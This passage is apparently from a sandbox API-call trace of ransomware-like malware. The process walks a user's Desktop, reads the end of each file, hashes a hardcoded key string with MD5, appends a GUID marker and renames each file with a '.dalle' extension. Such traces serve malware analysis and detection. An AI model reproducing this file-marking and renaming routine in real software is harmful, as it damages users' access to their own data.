mvP_WadxDj6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in mvp_wadxdj6.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN mvP_WadxDj6.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in mvp_wadxdj6.m4a.dalle")) returned 1 [0120.070] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfd0b10, ftCreationTime.dwHighDateTime=0x1d4d1db, ftLastAccessTime.dwLowDateTime=0x1c1232f0, ftLastAccessTime.dwHighDateTime=0x1d4cca2, ftLastWriteTime.dwLowDateTime=0x1c1232f0, ftLastWriteTime.dwHighDateTime=0x1d4cca2, nFileSizeHigh=0x0, nFileSizeLow=0x106b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iqS7xw7P.ots", cAlternateFileName="")) returned 1 [0120.070] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iqS7xw7P.ots") returned=".ots" [0120.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iqS7xw7P.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iqs7xw7p.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.070] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=67249) returned 1 [0120.070] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.071] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1068b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.071] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.073] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x106b1, lpOverlapped=0x0) returned 1 [0120.074] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.074] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.074] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.074] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.075] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.075] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.075] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.075] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.075] GetLastError () returned 0x0 [0120.075] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.075] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.075] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x106b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.075] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.075] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.075] CloseHandle (hObject=0x618) returned 1 [0120.076] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iqS7xw7P.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iqs7xw7p.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iqS7xw7P.ots.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iqs7xw7p.ots.dalle")) returned 1 [0120.078] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc20e90, ftCreationTime.dwHighDateTime=0x1d4d1e4, ftLastAccessTime.dwLowDateTime=0xe81ff460, ftLastAccessTime.dwHighDateTime=0x1d4d4e3, ftLastWriteTime.dwLowDateTime=0xe81ff460, ftLastWriteTime.dwHighDateTime=0x1d4d4e3, nFileSizeHigh=0x0, nFileSizeLow=0xd5de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ivu v64ETcPV9Avp.jpg", cAlternateFileName="IVUV64~1.JPG")) returned 1 [0120.078] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ivu v64ETcPV9Avp.jpg") returned=".jpg" [0120.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ivu v64ETcPV9Avp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ivu v64etcpv9avp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.078] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=54750) returned 1 [0120.078] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.079] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd5b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.079] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.080] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd5de, lpOverlapped=0x0) returned 1 [0120.080] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.080] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.080] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.080] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.081] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.081] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.081] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.081] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.081] GetLastError () returned 0x0 [0120.081] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.081] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.082] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd5de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.082] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.082] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.082] CloseHandle (hObject=0x618) returned 1 [0120.083] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ivu v64ETcPV9Avp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ivu v64etcpv9avp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ivu v64ETcPV9Avp.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ivu v64etcpv9avp.jpg.dalle")) returned 1 [0120.084] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1438b470, ftCreationTime.dwHighDateTime=0x1d4d51f, ftLastAccessTime.dwLowDateTime=0x4f1e9bd0, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0x4f1e9bd0, ftLastWriteTime.dwHighDateTime=0x1d4cba7, nFileSizeHigh=0x0, nFileSizeLow=0x88bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O5-QxOkuS7l.odt", cAlternateFileName="O5-QXO~1.ODT")) returned 1 [0120.084] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O5-QxOkuS7l.odt") returned=".odt" [0120.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O5-QxOkuS7l.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o5-qxokus7l.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.085] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=35003) returned 1 [0120.085] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.086] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8895, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.086] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.087] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x88bb, lpOverlapped=0x0) returned 1 [0120.088] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.088] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.088] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.088] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.089] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.089] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.089] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.089] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.089] GetLastError () returned 0x0 [0120.089] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.089] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.089] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x88bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.089] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.089] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.089] CloseHandle (hObject=0x618) returned 1 [0120.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O5-QxOkuS7l.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o5-qxokus7l.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O5-QxOkuS7l.odt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o5-qxokus7l.odt.dalle")) returned 1 [0120.092] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd49dff0, ftCreationTime.dwHighDateTime=0x1d4cba0, ftLastAccessTime.dwLowDateTime=0x5f287820, ftLastAccessTime.dwHighDateTime=0x1d4c963, ftLastWriteTime.dwLowDateTime=0x5f287820, ftLastWriteTime.dwHighDateTime=0x1d4c963, nFileSizeHigh=0x0, nFileSizeLow=0x12086, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oePm7UfV1NMKY4Pl.bmp", cAlternateFileName="OEPM7U~1.BMP")) returned 1 [0120.092] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oePm7UfV1NMKY4Pl.bmp") returned=".bmp" [0120.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oePm7UfV1NMKY4Pl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oepm7ufv1nmky4pl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.094] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=73862) returned 1 [0120.094] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.095] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12060, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.095] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.096] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x12086, lpOverlapped=0x0) returned 1 [0120.097] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.097] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.097] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.097] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.098] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.098] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.098] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.098] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.098] GetLastError () returned 0x0 [0120.098] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.098] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.099] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12086, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.099] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.099] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.099] CloseHandle (hObject=0x618) returned 1 [0120.100] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oePm7UfV1NMKY4Pl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oepm7ufv1nmky4pl.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oePm7UfV1NMKY4Pl.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oepm7ufv1nmky4pl.bmp.dalle")) returned 1 [0120.102] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f671170, ftCreationTime.dwHighDateTime=0x1d4d220, ftLastAccessTime.dwLowDateTime=0xdf58c4d0, ftLastAccessTime.dwHighDateTime=0x1d4d43c, ftLastWriteTime.dwLowDateTime=0xdf58c4d0, ftLastWriteTime.dwHighDateTime=0x1d4d43c, nFileSizeHigh=0x0, nFileSizeLow=0xefa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pknw9.bmp", cAlternateFileName="")) returned 1 [0120.102] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pknw9.bmp") returned=".bmp" [0120.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pknw9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pknw9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.102] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=61353) returned 1 [0120.102] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.103] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xef83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.103] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.105] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xefa9, lpOverlapped=0x0) returned 1 [0120.106] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.106] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.106] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.106] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.107] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.107] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.107] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.107] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.107] GetLastError () returned 0x0 [0120.107] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.107] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.107] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xefa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.107] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.107] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.107] CloseHandle (hObject=0x618) returned 1 [0120.108] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pknw9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pknw9.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pknw9.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pknw9.bmp.dalle")) returned 1 [0120.109] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9999930, ftCreationTime.dwHighDateTime=0x1d4d15a, ftLastAccessTime.dwLowDateTime=0x28017110, ftLastAccessTime.dwHighDateTime=0x1d4ce47, ftLastWriteTime.dwLowDateTime=0x28017110, ftLastWriteTime.dwHighDateTime=0x1d4ce47, nFileSizeHigh=0x0, nFileSizeLow=0x9ec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qrw8cI.bmp", cAlternateFileName="")) returned 1 [0120.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qrw8cI.bmp") returned=".bmp" [0120.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qrw8cI.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrw8ci.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.110] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=40644) returned 1 [0120.110] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.111] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9e9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.111] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.112] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x9ec4, lpOverlapped=0x0) returned 1 [0120.113] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.113] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.113] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.113] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.114] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.114] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.114] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.114] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.114] GetLastError () returned 0x0 [0120.114] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.114] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.114] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.115] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.115] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.115] CloseHandle (hObject=0x618) returned 1 [0120.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qrw8cI.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrw8ci.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qrw8cI.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrw8ci.bmp.dalle")) returned 1 [0120.117] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2343cab0, ftCreationTime.dwHighDateTime=0x1d4d0f4, ftLastAccessTime.dwLowDateTime=0xc807db0, ftLastAccessTime.dwHighDateTime=0x1d4c860, ftLastWriteTime.dwLowDateTime=0xc807db0, ftLastWriteTime.dwHighDateTime=0x1d4c860, nFileSizeHigh=0x0, nFileSizeLow=0x7686, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="suJChr7SBbY4qJ.mkv", cAlternateFileName="SUJCHR~1.MKV")) returned 1 [0120.117] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\suJChr7SBbY4qJ.mkv") returned=".mkv" [0120.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\suJChr7SBbY4qJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sujchr7sbby4qj.mkv"), 